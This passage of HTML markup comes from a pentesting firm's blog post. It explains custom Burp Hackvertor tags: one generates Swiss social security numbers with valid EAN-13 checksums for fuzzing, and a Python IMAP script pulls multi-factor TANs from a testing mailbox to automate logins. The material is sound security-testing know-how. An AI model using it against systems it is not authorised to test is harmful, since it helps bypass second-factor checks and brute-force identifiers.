random numbers that were passed as &lt;code class="docutils literal"&gt;input&lt;/code&gt; and assigns the value to the variable &lt;code class="docutils literal"&gt;output&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_e218f2601b5c4190aed9e522c925546b-1" name="rest_code_e218f2601b5c4190aed9e522c925546b-1" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_e218f2601b5c4190aed9e522c925546b-1"&gt;&lt;/a&gt;z=input;y=z.replace('.','');output=z+str(10-(sum([3*int(x) for x in y[1:][::-2]])+sum([int(x) for x in y[::-1][1::2]]))%10)[-1]
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Defining it as the tag name &lt;code class="docutils literal"&gt;ean13&lt;/code&gt; and you should get the following picture when
you open the tag in the edit window:&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202103_burp_hackvertor_5_hackvertor_ean13.png"&gt;
&lt;img alt="Screenshot of the Hackvertor widget for editing a custom tag. It is the same dialog type as above, but now it edits the ``ean13`` tag with the Python code shown above." class="align-center" src="https://www.pentagrid.ch/images/202103_burp_hackvertor_5_hackvertor_ean13.thumbnail.png" style="width: 400px;"&gt;
&lt;/a&gt;
&lt;p&gt;Note that the leading underscore is used for every custom tag, so Hackvertor knows it is
not a built-in Hackvertor tag. So how do we use such a custom tag?&lt;/p&gt;
&lt;p&gt;First of all, there is a security measure so other people that send traffic through your
Burp can't execute the custom tag on your Burp machine. Code execution tags are only
executed when a certain random token is included in the tag. This means you'll need to
create a custom tag in the Hackvertor UI first to get that random token. Creating the
custom tag for our &lt;code class="docutils literal"&gt;ean13&lt;/code&gt; tag in the Hackvertor UI will result in something like this:&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202103_burp_hackvertor_6_hackvertor_random_token.png"&gt;
&lt;img alt="Screenshot of the Hackvertor Burp plugin showing an EAN13 tag and with an error message in the output window. The error message describes that code execution is disabled and how to enable it." class="align-center" src="https://www.pentagrid.ch/images/202103_burp_hackvertor_6_hackvertor_random_token.thumbnail.png" style="width: 100%;"&gt;
&lt;/a&gt;
&lt;p&gt;So keep in mind that for your Burp installation, that random number in double qutoes will
be different. As the output windows in the above picture tells you, code execution tags
are still disabled by default for security reasons. This is a second setting you'll need
to change. You can enable them in the top main menu of Burp under the Hackvertor item.
What you need to do then is to allow code execution tags in Hackvertor:&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202103_burp_hackvertor_7_hackvertor_in_toplevel_menu.png"&gt;
&lt;img alt="Screenshot of the Hackvertor menu showing how to enable code execution tags." class="align-center" src="https://www.pentagrid.ch/images/202103_burp_hackvertor_7_hackvertor_in_toplevel_menu.thumbnail.png" style="width: 300px;"&gt;
&lt;/a&gt;
&lt;p&gt;After that you will probably not see much in the output window of Hackvertor. That's because
we have to give our custom tag the correct input. For example:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_7aae1655da1440078939628d0894d749-1" name="rest_code_7aae1655da1440078939628d0894d749-1" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_7aae1655da1440078939628d0894d749-1"&gt;&lt;/a&gt;&amp;lt;@_ean13_3("83a52168fad35b2d85f6972b0eb1db91")&amp;gt;756.9217.0769.8&amp;lt;/@_ean13_3&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now you should see the correct social security number being generated, namely 756.9217.0769.85.
And here comes the real power of Hackvertor. Now you can combine the generation of random
numbers feature of Hackvertor and our custom tag in a nested form:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_145981cd81bf4c8088ce940c4aed96c8-1" name="rest_code_145981cd81bf4c8088ce940c4aed96c8-1" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_145981cd81bf4c8088ce940c4aed96c8-1"&gt;&lt;/a&gt;&amp;lt;@_ean13_3("83a52168fad35b2d85f6972b0eb1db91")&amp;gt;756.&amp;lt;@random_num_0(4) /&amp;gt;.&amp;lt;@random_num_1(4) /&amp;gt;.&amp;lt;@random_num_2(1) /&amp;gt;&amp;lt;/@_ean13_3&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Whenever you send this value in the Burp Repeater, it will be replaced with a random social
security number with a correct checksum. Of course you can now not only generate random social
security numbers, but you can also generate the random numbers with Burp Intruder and brute-force
with valid EAN13 checksums.&lt;/p&gt;
&lt;p&gt;In some cases it might be even possible to simply paste the above tags into the browser you use with
Burp and the web server will receive a random social security number. However, this only works if the
web application you are testing does not encode the values we put into HTML fields and Hackvertor is
still able to see the tag exactly as written above. This is rather a rare case, but it might work.&lt;/p&gt;
&lt;p&gt;Update 2024-12-06: The &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/"&gt;EAN-13 tag is available via the Hackvertor tag store&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="use-hackvertor-to-fetch-second-factor-authentication-token"&gt;
&lt;h2&gt;Use Hackvertor to fetch second-factor authentication token&lt;/h2&gt;
&lt;p&gt;Let's do a more advanced custom tag example. Could you use the scripting capabilities of Hackvertor
to automatically solve TAN second factor verification in multi-factor authentication web forms? At
Pentagrid we have an &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/open-source-sms-gateway-for-pentest-projects/"&gt;SMS to E-mail gateway for pentesting purposes&lt;/a&gt;, meaning if second factor TANs are
sent out via SMS or E-mail, they will always land in one of our testing E-mail inboxes. Can we
retrieve the second factor TAN tokens from the E-mail inbox with a Hackvertor tag? Yes we can, with
the very useful Python &lt;code class="docutils literal"&gt;imaplib&lt;/code&gt; and an E-mail server that supports IMAP. Of course the entire
parsing logic for the incoming TANs is highly dependent on the web application and how the SMS or
E-mails look like. You will need to change the parsing code according to your needs. So here's a
quick'n'dirty example that worked for us for a certain web application. We created the new Hackvertor
tag like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-1" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-1" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-1"&gt;&lt;/a&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;getpass&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;imaplib&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-2" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-2" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-2"&gt;&lt;/a&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-3" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-3" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-3"&gt;&lt;/a&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-4" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-4" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-4"&gt;&lt;/a&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-5" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-5" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-5"&gt;&lt;/a&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-6" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-6" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-6"&gt;&lt;/a&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-7" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-7" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-7"&gt;&lt;/a&gt;    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-8" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-8" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-8"&gt;&lt;/a&gt;        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-9" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-9" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-9"&gt;&lt;/a&gt;        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-10" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-10" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-10"&gt;&lt;/a&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-11" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-11" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-11"&gt;&lt;/a&gt;&lt;span class="n"&gt;M&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;imaplib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IMAP4_SSL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'use-your-own-mail-host'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# warning: no certificate verification&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-12" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-12" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-12"&gt;&lt;/a&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"pentagrid@example.org"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"email-password"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-13" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-13" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-13"&gt;&lt;/a&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-14" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-14" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-14"&gt;&lt;/a&gt;&lt;span class="n"&gt;typ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'ALL'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-15" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-15" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-15"&gt;&lt;/a&gt;&lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"NO TOKEN WAS FOUND"&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-16" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-16" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-16"&gt;&lt;/a&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()[::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-17" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-17" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-17"&gt;&lt;/a&gt;    &lt;span class="n"&gt;typ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'(RFC822)'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-18" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-18" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-18"&gt;&lt;/a&gt;    &lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Email&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-19" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-19" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-19"&gt;&lt;/a&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;splitlines&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-20" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-20" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-20"&gt;&lt;/a&gt;        &lt;span class="c1"&gt;#print(line)&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-21" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-21" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-21"&gt;&lt;/a&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Your TAN is: "&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-22" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-22" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-22"&gt;&lt;/a&gt;            &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Your TAN is: "&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-23" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-23" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-23"&gt;&lt;/a&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-24" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-24" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-24"&gt;&lt;/a&gt;        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-25" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-25" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-25"&gt;&lt;/a&gt;        &lt;span class="k"&gt;break&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-26" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-26" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-26"&gt;&lt;/a&gt;    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-27" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-27" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-27"&gt;&lt;/a&gt;        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"No token found"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-28" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-28" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-28"&gt;&lt;/a&gt;    &lt;span class="c1"&gt;#print('Message %s\n%s\n' % (num, data[0][1]))&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-29" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-29" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-29"&gt;&lt;/a&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Final token:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-30" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-30" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-30"&gt;&lt;/a&gt;&lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-31" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-31" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-31"&gt;&lt;/a&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;a id="rest_code_aae1983aaba646c78e710a6dd7fa15a4-32" name="rest_code_aae1983aaba646c78e710a6dd7fa15a4-32" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_aae1983aaba646c78e710a6dd7fa15a4-32"&gt;&lt;/a&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The Python code will login to the IMAP mailbox, retrieve E-mails starting with the newest,
quick'n'dirty parse the TAN from the E-mail by interating through each line of the E-mail
and assign the the first token found to the &lt;code class="docutils literal"&gt;output&lt;/code&gt; variable that Hackvertor expects.
You might need to play with the sleep delay we introduced at the beginning of the script
to make sure the E-mail reaches the mailbox before you try to retrieve it. Otherwise you
could change the script to only consider the very newest E-mail but you would need to take
care to delete old E-mails. And of course you need to change your E-mail server, username
and password. Please be aware that this is as well not thread-safe, you would need a
seperate E-mail mailbox for each thread to make it concurrent.&lt;/p&gt;
&lt;p&gt;Configuring a search and replace rule in the Burp Proxy to replace any second factor you enter
with the Hackvertor tab is left as an exercise to the reader. We were able to test websites
without ever entering the second factor manually again, as the entered token was replaced
with a Hackvertor tag and Hackvertor fetched the token from the mailbox.&lt;/p&gt;
&lt;p&gt;Hackvertor is therefore the perfect solution if you would like to script things that are
sent in HTTP requests. With the new scripting capabilities, it is not necessary to write
extensions when you want to change things sent out. Or do you? Unfortunately, there are
certain limitations with this approach and in Burp. The search and replace rule for the
Proxy of course only works for the Burp Proxy. But what if we want to make the Burp Crawler
be able to login with second-factor TANs? We can't use session handling rules (another
advanced topic of Burp), as they don't apply for Burp Crawler. But we were able to write
an extension that handles that part, but that's for another blog post (it is really cool
to see the headed browser of Burp login correctly). And what if you would also like to
modify HTTP responses? Or what if you would like to even enhance Burp with a Transfer-Encoding
feature it does not yet support? Do you want to know how you could set up an SMS to E-mail
gateway? Stay tuned for our next blog posts, subscribe to our &lt;a class="reference external" href="https://www.pentagrid.ch/en/rss.xml"&gt;RSS feed&lt;/a&gt;
or follow us on &lt;a class="reference external" href="https://twitter.com/pentagridsec"&gt;Twitter&lt;/a&gt; or
&lt;a class="reference external" href="https://www.linkedin.com/company/67698060/"&gt;LinkedIn&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update 2025-06-04: An update of Hackvertor in 2025 changed the style of closing elements from &lt;cite&gt;&amp;lt;@/name&amp;gt;&lt;/cite&gt; to &lt;cite&gt;&amp;lt;/@name&amp;gt;&lt;/cite&gt;. Therefore, we updated the post, but not the screenshots.&lt;/p&gt;
&lt;aside class="footnote-list brackets"&gt;
&lt;aside class="footnote brackets" id="ahv" role="doc-footnote"&gt;
&lt;span class="label"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;&lt;a role="doc-backlink" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#footnote-reference-1"&gt;1&lt;/a&gt;&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;The de facto Swiss social security number, respectively German: AHV Alters- und Hinterbliebenenversicherung, Rumantsch: AVS - Sgüranza da vegls e relatschats, Italian: AVS - Assicurazione per la vecchiaia e per i superstiti, French: AVS - L'assurance-vieillesse et survivants&lt;/p&gt;
&lt;/aside&gt;
&lt;/aside&gt;
